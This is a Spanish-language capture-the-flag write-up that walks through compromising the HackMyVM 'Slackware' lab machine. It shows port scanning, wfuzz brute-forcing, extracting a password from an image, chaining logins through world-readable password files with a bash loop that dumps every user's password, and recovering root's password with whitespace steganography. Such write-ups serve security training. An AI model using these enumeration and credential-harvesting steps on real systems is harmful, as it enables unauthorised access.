HackMyVM - Slackware
- Reverse Image Search - (OSINT)
- Extension enumeration 7z - (WFUZZ)
- WhiteSpace Steganography StegSnow - (Privesc)
Escaneo de puertos
❯ sudo nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.17
PORT STATE SERVICE REASON
1/tcp open tcpmux syn-ack ttl 64
2/tcp open compressnet syn-ack ttl 64
MAC Address: 08:00:27:CB:5E:B8 (Oracle VirtualBox virtual NIC)
Escaneo de servicios
❯ nmap -sV -sC -p 1,2 -v 192.168.1.17
PORT STATE SERVICE VERSION
1/tcp open ssh OpenSSH 9.3 (protocol 2.0)
| ssh-hostkey:
| 256 e2:66:60:79:bc:d1:33:2e:c1:25:fa:99:e5:89:1e:d3 (ECDSA)
|_ 256 98:59:c3:a8:2b:89:56:77:eb:72:4a:05:90:21:cb:40 (ED25519)
2/tcp open http Apache httpd 2.4.58 ((Unix))
|_http-server-header: Apache/2.4.58 (Unix)
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-title: Tribute to Slackware
HTTP TCP - 2
Lanzo una petición GET al archivo robots.txt
.
❯ curl -s 192.168.1.17:2/robots.txt;echo
User-agent: *
#7z.001
Realizo fuerza bruta de directorios.
❯ wfuzz -t 200 -c --hw=672,23 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.1.17:2/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.17:2/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000084238: 301 7 L 20 W 239 Ch "getslack"
Mando una petición GET al nuevo directorio encontrado.
❯ curl -s 192.168.1.17:2/getslack/
search here
Después de varias búsquedas en el directorio /getslack
realizo una enumeración por 7z.001
.
❯ wfuzz -t 100 -c --hl=7 -w /usr/share/seclists/Discovery/Web-Content/big.txt -u "http://192.168.1.17:2/getslack/FUZZ.7z.001"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.17:2/getslack/FUZZ.7z.001
Total requests: 20476
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000018573: 200 80 L 794 W 19474 Ch "twitter"
Con wget puedo descargarme el archivo.
❯ wget http://192.168.1.17:2/getslack/twitter.7z.001
--2024-04-28 13:11:16-- http://192.168.1.17:2/getslack/twitter.7z.001
Conectando con 192.168.1.17:2... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 20480 (20K) [application/x-7z-compressed]
Grabando a: «twitter.7z.001.1»
twitter.7z.001.1 100%[===============================>] 20,00K --.-KB/s en 0s
Al abrirlo me da error algo que me esperaba ya que el nombre de archivo indica que es un archivo partido con 7z.
❯ 7z e twitter.7z.001
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=es_ES.UTF-8 Threads:4 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 20480 bytes (20 KiB)
Extracting archive: twitter.7z.001
ERROR: twitter.7z.001
twitter.7z
Open ERROR: Cannot open the file as [7z] archive
ERRORS:
Unexpected end of archive
Can't open as archive: 1
Files: 0
Size: 0
Compressed: 0
Para descargar todos los archivos disponibles he creado este sencillo script en bash.
#!/bin/bash
for i in {1..20}; do
wget http://192.168.1.17:2/getslack/twitter.7z.$(printf "%03d" $i)
done
Una vez descargados descomprimo el archivo y en su interior hay una imagen.
❯ 7z e twitter.7z.001
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=C.UTF-8 Threads:4 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 20480 bytes (20 KiB)
Extracting archive: twitter.7z.001
--
Path = twitter.7z.001
Type = Split
Physical Size = 20480
Volumes = 14
Total Physical Size = 268100
----
Path = twitter.7z
Size = 268100
--
Path = twitter.7z
Type = 7z
Physical Size = 268100
Headers Size = 130
Method = LZMA2:384k
Solid = -
Blocks = 1
Everything is Ok
Size: 267951
Compressed: 268100
Con strings encuentro esta cadena que parece ser una contraseña.
❯ strings -n 14 twitter.png
t**********1993
Como no tengo el usuario realizo una búsqueda inversa de imágenes con google.
Consigo conectarme al sistema como usuario Patrick.
❯ ssh patrick@192.168.1.17 -p 1
(patrick@192.168.1.17) Password:
Linux 5.15.145.
patrick@slackware:~$ id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick),1001(kretinga)
Enumero usuarios del sistema lanzando un cat al fichero passwd.
patrick@slackware:~$ cat /etc/passwd | grep bash
root:x:0:0::/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
patrick:x:1000:1000::/home/patrick:/bin/bash
kretinga:x:1001:1001::/home/kretinga:/bin/bash
claor:x:1002:1002::/home/claor:/bin/bash
alienum:x:1003:1003::/home/alienum:/bin/bash
mrmidnight:x:1004:1004::/home/mrmidnight:/bin/bash
annlynn:x:1005:1005::/home/annlynn:/bin/bash
powerful:x:1006:1006::/home/powerful:/bin/bash
proxy:x:1007:1007::/home/proxy:/bin/bash
x4v1l0k:x:1008:1008::/home/x4v1l0k:/bin/bash
icex64:x:1009:1009::/home/icex64:/bin/bash
mindsflee:x:1010:1010::/home/mindsflee:/bin/bash
zacarx007:x:1011:1011::/home/zacarx007:/bin/bash
terminal:x:1012:1012::/home/terminal:/bin/bash
zenmpi:x:1013:1013::/home/zenmpi:/bin/bash
sml:x:1014:1014::/home/sml:/bin/bash
emvee:x:1015:1015::/home/emvee:/bin/bash
nls:x:1016:1016::/home/nls:/bin/bash
noname:x:1017:1017::/home/noname:/bin/bash
nolose:x:1018:1018::/home/nolose:/bin/bash
sancelisso:x:1019:1019::/home/sancelisso:/bin/bash
ruycr4ft:x:1020:1020::/home/ruycr4ft:/bin/bash
tasiyanci:x:1021:1021::/home/tasiyanci:/bin/bash
lanz:x:1022:1022::/home/lanz:/bin/bash
pylon:x:1023:1023::/home/pylon:/bin/bash
wwfymn:x:1024:1024::/home/wwfymn:/bin/bash
whitecr0wz:x:1025:1025::/home/whitecr0wz:/bin/bash
bit:x:1026:1026::/home/bit:/bin/bash
infayerts:x:1027:1027::/home/infayerts:/bin/bash
rijaba1:x:1028:1028::/home/rijaba1:/bin/bash
cromiphi:x:1029:1029::/home/cromiphi:/bin/bash
gatogamer:x:1030:1030::/home/gatogamer:/bin/bash
ch4rm:x:1031:1031::/home/ch4rm:/bin/bash
aceomn:x:1032:1032::/home/aceomn:/bin/bash
kerszi:x:1033:1033::/home/kerszi:/bin/bash
d3b0o:x:1034:1034::/home/d3b0o:/bin/bash
avijneyam:x:1035:1035::/home/avijneyam:/bin/bash
zayotic:x:1036:1036::/home/zayotic:/bin/bash
kaian:x:1037:1037::/home/kaian:/bin/bash
c4rta:x:1038:1038::/home/c4rta:/bin/bash
boyras200:x:1039:1039::/home/boyras200:/bin/bash
waidroc:x:1040:1040::/home/waidroc:/bin/bash
ziyos:x:1041:1041::/home/ziyos:/bin/bash
b4el7d:x:1042:1042::/home/b4el7d:/bin/bash
rpj7:x:1043:1043::/home/rpj7:/bin/bash
h1dr0:x:1044:1044::/home/h1dr0:/bin/bash
catch_me75:x:1045:1045::/home/catch_me75:/bin/bash
josemlwdf:x:1046:1046::/home/josemlwdf:/bin/bash
skinny:x:1047:1047::/home/skinny:/bin/bash
0xeex75:x:1048:1048::/home/0xeex75:/bin/bash
0xh3rshel:x:1049:1049::/home/0xh3rshel:/bin/bash
0xjin:x:1050:1050::/home/0xjin:/bin/bash
Con ls -laR
realizo una búsqueda recursiva en el /home para ver en que directorios puedo leer o escribir.
patrick@slackware:~$ ls -laR /home 2>/dev/null
/home:
total 2
/home/claor:
total 9
drwxr-x--- 2 claor kretinga 112 Mar 10 22:15 ./
drwxr-xr-x 54 root root 1400 Mar 10 22:16 ../
-rw-r--r-- 1 claor claor 3729 Feb 2 2022 .screenrc
-rw-r----- 1 claor kretinga 13 Mar 10 22:15 mypass.txt
/home/kretinga:
total 9
drwxr-x--- 2 kretinga patrick 112 Mar 10 22:15 ./
drwxr-xr-x 54 root root 1400 Mar 10 22:16 ../
-rw-r--r-- 1 kretinga kretinga 3729 Feb 2 2022 .screenrc
-rw-r----- 1 kretinga patrick 13 Mar 10 22:15 mypass.txt
Puedo leer el archivo mypass.txt
de los usuarios kretinga y claor.
patrick@slackware:~$ cat /home/kretinga/mypass.txt
lpV8UG0GxKuw
patrick@slackware:~$ cat /home/claor/mypass.txt
JRksNe5rWgis
En cada usuario que voy entrando veo que tengo permisos para leer el archivo mypass.txt
de cada usuario del sistema.
claor@slackware:~$ ls -laR /home 2>/dev/null
/home/alienum:
total 9
drwxr-x--- 2 alienum claor 112 Mar 10 22:15 .
drwxr-xr-x 54 root root 1400 Mar 10 22:16 ..
-rw-r--r-- 1 alienum alienum 3729 Feb 2 2022 .screenrc
-rw-r----- 1 alienum claor 13 Mar 10 22:15 mypass.txt
claor@slackware:~$ cat ../alienum/mypass.txt
ex0XVRAAjCWX
Este código muestra los usuarios con sus contraseñas de una forma ordenada pero no automatiza el proceso ya que tienes que copiar y pegar el código en cada usuario.
for user in $(cut -d: -f1 /etc/passwd)
do
if [ -f "/home/$user/mypass.txt" ]; then
echo -e "\n------------"
echo "$user"
cat "/home/$user/mypass.txt"
echo "------------"
fi
done
En el home de rpj7 se encuentra la flag del usuario.
Me llama la atención los espacios en blanco que tiene el archivo user.txt
.
Si busco en internet encuentro este vídeo que muestra la herramienta stegsnow.
Codifico el user.txt
a base64.
rpj7@slackware:~$ cat user.txt | base64
SE1We1RoMXMxczFVczNyRmxhZ30JICAgICAJICAgICAgCSAJICAgCSAgICAgCSAgICAgICAJICAg
ICAgIAogICAgCSAgICAgIAkJICAgIAkgICAgICAgCQkJIAkgICAJICAgICAgIAogICAgICAgCSAJ
ICAgICAJICAgICAgIAkgICAgICAJICAgIAkgICAgICAJICAgICAJICAgIAoJICAgICAJICAgIAkg
CSAgICAJICAgICAJICAgICAgCSAgICAgICAJICAgCSAgCiAgICAgCSAgIAkgICAJICAgICAJICAg
ICAJICAgCSAJCSAgICAgIAkgCiAgICAgCSAgICAgICAJICAgICAgIAkgICAgCSAgICAgIAkgICAg
CSAgICAgCSAgCSAKCSAgICAgICAJICAgICAJIAo=
Copio la cadena en base64 y en mi máquina la guardo en un archivo con nombre whiteSpaces.txt
.
La decodifico y la guardo en el archivo ws.txt
.
❯ base64 -d whiteSpaces.txt > ws.txt
Finalmente con la herramienta stegsnow decodifico el archivo ws.txt
que contiene los espacios en blanco y encuentro una contraseña.
Me logueo como root usando la contraseña encontrada.
rpj7@slackware:~$ su root
Password:
root@slackware:/home/rpj7# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),17(audio)
Si intento leer la flag de root.
root@slackware:~# cat roo00oot.txt
There is no root flag here, but it is somewhere in the /home directory.
Me muevo al directorio /home y con grep hago una búsqueda recursiva de la palabra flag.
root@slackware:/home# grep -r flag
Y aquí termina la máquina Slackware.
Saludos!